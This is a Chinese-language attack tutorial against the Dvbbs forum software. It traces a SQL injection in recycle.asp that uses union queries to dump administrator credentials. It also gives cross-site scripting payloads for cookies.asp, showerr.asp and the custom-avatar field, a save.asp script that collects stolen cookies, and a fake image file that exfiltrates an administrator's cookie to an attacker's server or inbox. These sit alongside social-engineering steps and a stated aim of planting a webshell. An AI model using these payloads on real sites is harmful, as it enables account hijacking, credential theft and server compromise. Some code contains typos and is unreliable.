打开recycle.asp,
<!--#include file="conn.asp"-->
<!-- #include file="inc/const.asp" -->
<!-- #include file="inc/DvADChar.asp" -->
<!-- #include file="inc/dv_ubbcode.asp" -->
<%
Rem 修改记录:2004-5-3 行396 Dvbbs.YangZheng
Server.ScriptTimeOut=999999
dim bBoardEmpty
dim totalrec
dim n,RowCount
dim p
dim currentpage,page_count,Pcount
dim tablename
Dvbbs.stats="论坛回收站"
Dvbbs.nav()
If Not Dvbbs.master Then Response.redirect "showerr.asp?ErrCodes=<li>您没有权限浏览本页。&action=OtherErr"
Dvbbs.ShowErr()
Dvbbs.Head_var 2,0,"",""
Dim EmotPath
EmotPath=Split(Dvbbs.Forum_emot,"|||")(0)
Dim dv_ubb,abgcolor
Set dv_ubb=new Dvbbs_UbbCode
If Request("reaction")="manage" Then
dim topicid
Dim trs,UpdateBoardID
Dim fixid
Manage_Main()
ElseIf Request("reaction")="view" Then
View()
Else
Main()
End If
Call Dvbbs.activeonline()
call Dvbbs.footer()
‘大家再看看调用的Manage_Main函数和View函数,就会发现如下代码:
If request("tablename")="dv_topic" Then
tablename="dv_topic"
ElseIf InStr(request("tablename"),"bbs")>0 Then
tablename=Trim(request("tablename"))
If Len(tablename)>8 Then
Response.redirect "showerr.asp?ErrCodes=<li>错误的系统参数!&action=OtherErr"
End If
Else
Response.redirect "showerr.asp?ErrCodes=<li>错误的系统参数!&action=OtherErr"
End If
显然是对tablename过滤了,长度不能超过8,虽然能注入,但是实在没有价值可言,没关系,我们再看看如果我们提交的action为空,程序就会执行main函数,这个函数调用的是AnnounceList1,我们再找到这个函数看看把:
Sub AnnounceList1()
‘省略了无用代码,免得跟上次一样wtf又说偶骗稿费咯……
If instr(lcase(request("tablename")),"bbs")>0 then
SQL="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&replace(request("tablename"),"'","")&" where boardid=444 and not parentid=0 order by announceid desc"
tablename=request("tablename")
Else
SQL="select topicID,boardID,PostUserName,Title,title as body,DateAndTime from dv_topic where boardid=444 order by topicid desc"
tablename="dv_topic"
End If
set rs=server.createobject("adodb.recordset")
If Not IsObject(Conn) Then ConnectionDatabase
rs.open SQL,conn,1,1
if rs.bof and rs.eof then
'论坛无内容
call showEmptyBoard1()
else
rs.PageSize = cint(Dvbbs.Forum_Setting(11))
rs.AbsolutePage=currentpage
page_count=0
totalrec=rs.recordcount
call showPageList1()
end if
End sub
哈哈,显然这里没有对tablename限制长度,verygood,不过遗憾的是注入只能实现只读的查询,不能修改数据库内容,没关系,我们可以利用union查询把dv_log中记录的后台管理账号和密码一次性查询出来,这个还不够爽啊,通杀SQL版本和Access版本。
构造以下查询语句:
http://127.0.0.1/recycle.......,1,1,1,1,1%20from%20dv_bbs1
注意到l_id了吗,我们查询的时候通过递增l_id的值来遍历l_content字段中的内容,如果l_id选取的合适,就能直接得到明文账号和密码。如图1所示。
看到了吗,以上显示的后台账号是llikz,密码是111111,前台管理员账号是admin。得到后台管理权限,上传WebShell绝非是难事了。
说了这么多,别太兴奋了,忘记了只有前台管理员才有权限对回收站进行操作。不过比起admin_postings.asp的注入不仅实现起来比较容易。而且能对Access版本进行攻击。下面我们就为获得前台管理员权限努力吧。只要能够实现这个条件,两个注入漏洞都能轻松实现了。
关于利用跨站脚本攻击获得管理员的cookie信息,方法多种多样,可跨站攻击的文件也有不少,比如众所周知的showerr.asp,不过这个文件的跨站漏洞在7.1.0版本中已经修补,但是还有其他很多文件存在此漏洞,就拿cookies.asp来说吧,打开以下连接:
http://127.0.0.1/cookies.asp?action=setlistmod&id=);</script><script>alert(documents.cookie)</script>
看看是不是你的cookie信息弹出来了。如图2所示。
我们先说一种简单的实现起来比较容易的方法(当然隐蔽性不是很高),首先建立一个asp文件用于接收cookie信息,文件内容如下:
<%
Set cookie=Server.CreateObject("Adodb.Stream")
cookie.Open
cookie.Type=2
cookie.Charset="gb2312"
cookie.WriteText(request("cookie"))
cookie.SaveToTile(server.mappath(month(now)&day(now)&hour(now)&minute(now)&second(now)&".txt"))
cookie.Close
set cookie=Nothing
%>
保存为save.asp放到支持asp的空间。然后再建立文本文件,内容如下:
<html>
<body>
<iframe width=0 height=0 src="http://127.0.0.1/showerr.......erErr&ErrCodes=<form name=redir action=http://127.0.0.1/save.asp method=post><input type=hidden name=cookie></from><script>redir.cookie.value=documents.cookie;redir.submit();</script>"></iframe>
<img src=http://127.0.0.1/images/logo.gif></img>
</body>
</html>
http://127.0.0.1/save.asp请修改为自己的接收cookie信息的文件,http://127.0.0.1/showerr.asp请修改为你要攻击的论坛的地址。
将以上代码保存为up.gif。在论坛中选择发表新话题,将这个文件上传上去得到上传文件的地址:http://127.0.0.1/UploadFile/2005711052664.gif,给管理员发送如下的短消息。如图3所示。
看看管理员收到什么了。如图4所示。
这样只要管理员点击上面的连接,他的cookie信息就发到自己的空间咯,不信去看看啊。如图5所示。
接下来我们改进以下这种方法,如果将管理员的cookie信息做为短消息发到自己的收信箱里岂不更爽,将原来的up.gif内容修改一下,改为以下的内容:
<html>
<body>
<iframe width=0 height=0 src="http://127.0.0.1/showerr.......erErr&ErrCodes=<form name=redir action=http://127.0.0.1/messanger.asp?action=send method=post><INPUT type=hidden name=touser value=llikz><INPUT type=hidden name=title value=cookie><INPUT type=text name=message><INPUT type=hidden name=sms_act value=Sms_Issend></form><script>document.redir.message.value=documents.cookie;document.redir.submit();</script>"></iframe>
<img src=http://wjwl.cn66.cn/sitephoto/200312120204774541.jpg></img>
</body>
</html>
这样就能够绕过checkpost函数以post方式将管理员cookie信息发送到自己信箱了,注意<INPUT type=hidden name=touser value=llikz>这个修改为你自己注册的账号来接收短消息。这样只要欺骗管理员打开连接,就会收到类似如下的短信息。如图6所示。
以上的方法都有个缺点:当管理员在打开假图片的时候,通过浏览器状态栏显示的状态信息很容易被识破。那我们就利用动网论坛自定义头像功能实现跨站攻击。
选择控制面板,基本资料修改。在自定义头像地址中写入"><iframe src=http://127.0.0.1/index.asp></iframe><"再查看一下自己的个人资料。如图7所示。
哈哈,成功了,不过在自定义头像地址过滤了Java脚本,所以只能嵌入iframe框架。
不过在这里嵌入以上方法上传的脚本图片就能用来获取cookie信息了。比如我嵌入的是test.gif,文件内容是:
<html>
<body>
<script>alert(documents.cookie)</script>
</body>
</html>
再查看一下自己的个人资料。如图8所示。
这样只要欺骗管理员访问自己的个人资料,就神不知鬼不觉得到访问者的cookie信息了。通过cookie欺骗得到前台管理权限,再用recycle.asp注入漏洞即可轻松获得后台管理权限。只要大家灵活运用以上方法,摧毁不倒的动网论坛绝非难事。